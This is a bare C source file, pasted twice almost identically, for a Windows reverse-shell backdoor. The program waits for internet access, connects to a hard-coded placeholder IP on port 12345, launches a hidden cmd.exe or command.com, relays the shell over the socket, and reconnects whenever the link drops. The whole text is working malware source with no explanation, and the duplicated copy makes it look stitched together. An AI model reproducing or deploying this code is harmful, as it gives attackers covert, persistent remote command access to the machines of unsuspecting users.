#include <winsock.h>
#include <windows.h>
#include <stdio.h>
#include <wininet.h>
#pragma comment(lib,"wininet.lib")
#pragma comment(lib,"WS2_32.lib")
#define nBufLen 1000
void main()
{
begin:
while(!InternetGetConnectedState(NULL,0))
{
Sleep(1000);
}
sockaddr_in locsin;
locsin.sin_family = AF_INET;
locsin.sin_port = htons(12345);
locsin.sin_addr.s_addr = inet_addr("265.456.578.897");
SOCKET cons=0;
cons=socket(AF_INET, SOCK_STREAM, 0);
if(cons==INVALID_SOCKET)
{
return;
}
int val=1;
char data[nBufLen];
setsockopt(cons, SOL_SOCKET, SO_REUSEADDR, (char*)&val, sizeof(val));
if(connect(cons,(sockaddr *)&locsin,sizeof(locsin))!=0)
{
if(cons)
closesocket(cons);
Sleep(10000);
goto begin;
}
else
{
;
}
HANDLE rp1, wp1, rp2, wp2;
SECURITY_ATTRIBUTES sa;
sa.nLength = sizeof(sa);
sa.lpSecurityDescriptor = 0;
sa.bInheritHandle = 1;
CreatePipe(&rp1, &wp1, &sa, 0);
CreatePipe(&rp2, &wp2, &sa, 0);
STARTUPINFO si;
PROCESS_INFORMATION pi;
memset(&si,0,sizeof(si));
si.hStdError = si.hStdOutput = wp1;
si.hStdInput = rp2;
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
si.dwX = si.dwY = si.dwXSize = si.dwYSize = 0L;
si.lpReserved = NULL;
si.lpReserved2 = NULL;
si.cbReserved2 = 0;
si.cb = sizeof(STARTUPINFO);
OSVERSIONINFO osvi;
osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
if(GetVersionEx(&osvi)==FALSE) {
OutputDebugString("Unable to get version info\n");
return;
}
if (osvi.dwPlatformId == VER_PLATFORM_WIN32_WINDOWS)
{ if(!CreateProcess(0, "command.com", 0, 0, TRUE,0, 0, 0, &si, &pi))
{
val=(int)GetLastError();
return;
}
CloseHandle(pi.hThread);
}
else
{
if(!CreateProcess(0, "cmd.exe", 0, 0, TRUE,0, 0, 0, &si, &pi))
{
val=(int)GetLastError();
return;
}
CloseHandle(rp2);CloseHandle(wp1);
}
HANDLE h_con;
h_con=CreateEvent(NULL,1,0,NULL);
ResetEvent(h_con);
Sleep(200);
u_long num, use;
while(WaitForSingleObject(h_con,0)!=WAIT_OBJECT_0)
{
while(1)//bytes in pipe
{
u_long i=0;
u_long j=0;
num=0;
use=0;
if(!PeekNamedPipe(rp1, data, nBufLen, &num, 0, 0))
{num=0xffffffff;break;}//return TURE is OK
use=num;
if(use)
{
if(!ReadFile(rp1, data, nBufLen, &num, 0))
{
num=0xffffffff;
break;
}//return 0 if error, close
}
if(num)
{
while(i<num)
{
j=send(cons, data, num, 0);
if(j>0)
i+=j;
}
}
memset(data,0,nBufLen);
Sleep(100);
if(!use)break;
}
if(num==0xffffffff)break;
val=recv(cons, data, nBufLen ,0);
if(val==0||val==SOCKET_ERROR)
{
break;
}
else
{
;
}
WriteFile(wp2, data, val, &num, 0);
Sleep(100);
}
WriteFile(wp2,"exit\n",strlen("exit\n"),&num,0);
Sleep(200);
CloseHandle(rp1);CloseHandle(wp2);
closesocket(cons);
goto begin;
return;
}
#include <windows.h>
#include <stdio.h>
#include <wininet.h>
#pragma comment(lib,"wininet.lib")
#pragma comment(lib,"WS2_32.lib")
#define nBufLen 1000
void main()
{
begin:
while(!InternetGetConnectedState(NULL,0))
{
Sleep(1000);
}
sockaddr_in locsin;
locsin.sin_family = AF_INET;
locsin.sin_port = htons(12345);
locsin.sin_addr.s_addr = inet_addr("265.456.578.897");
SOCKET cons=0;
cons=socket(AF_INET, SOCK_STREAM, 0);
if(cons==INVALID_SOCKET)
{
return;
}
int val=1;
char data[nBufLen];
setsockopt(cons, SOL_SOCKET, SO_REUSEADDR, (char*)&val, sizeof(val));
if(connect(cons,(sockaddr *)&locsin,sizeof(locsin))!=0)
{
if(cons)
closesocket(cons);
Sleep(10000);
goto begin;
}
else
{
;
}
HANDLE rp1, wp1, rp2, wp2;
SECURITY_ATTRIBUTES sa;
sa.nLength = sizeof(sa);
sa.lpSecurityDescriptor = 0;
sa.bInheritHandle = 1;
CreatePipe(&rp1, &wp1, &sa, 0);
CreatePipe(&rp2, &wp2, &sa, 0);
STARTUPINFO si;
PROCESS_INFORMATION pi;
memset(&si,0,sizeof(si));
si.hStdError = si.hStdOutput = wp1;
si.hStdInput = rp2;
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
si.dwX = si.dwY = si.dwXSize = si.dwYSize = 0L;
si.lpReserved = NULL;
si.lpReserved2 = NULL;
si.cbReserved2 = 0;
si.cb = sizeof(STARTUPINFO);
OSVERSIONINFO osvi;
osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
if(GetVersionEx(&osvi)==FALSE) {
OutputDebugString("Unable to get version info\n");
return;
}
if (osvi.dwPlatformId == VER_PLATFORM_WIN32_WINDOWS)
{ if(!CreateProcess(0, "command.com", 0, 0, TRUE,0, 0, 0, &si, &pi))
{
val=(int)GetLastError();
return;
}
CloseHandle(pi.hThread);
}
else
{
if(!CreateProcess(0, "cmd.exe", 0, 0, TRUE,0, 0, 0, &si, &pi))
{
val=(int)GetLastError();
return;
}
CloseHandle(rp2);CloseHandle(wp1);
}
HANDLE h_con;
h_con=CreateEvent(NULL,1,0,NULL);
ResetEvent(h_con);
Sleep(200);
u_long num, use;
while(WaitForSingleObject(h_con,0)!=WAIT_OBJECT_0)
{
while(1)//bytes in pipe
{
u_long i=0;
u_long j=0;
num=0;
use=0;
if(!PeekNamedPipe(rp1, data, nBufLen, &num, 0, 0))
{num=0xffffffff;break;}//return TURE is OK
use=num;
if(use)
{
if(!ReadFile(rp1, data, nBufLen, &num, 0))
{
num=0xffffffff;
break;
}//return 0 if error, close
}
if(num)
{
while(i<num)
{
j=send(cons, data, num, 0);
if(j>0)
i+=j;
}
}
memset(data,0,nBufLen);
Sleep(100);
if(!use)break;
}
if(num==0xffffffff)break;
val=recv(cons, data, nBufLen ,0);
if(val==0||val==SOCKET_ERROR)
{
break;
}
else
{
;
}
WriteFile(wp2, data, val, &num, 0);
Sleep(100);
}
WriteFile(wp2,"exit\n",strlen("exit\n"),&num,0);
Sleep(200);
CloseHandle(rp1);CloseHandle(wp2);
closesocket(cons);
goto begin;
return;
}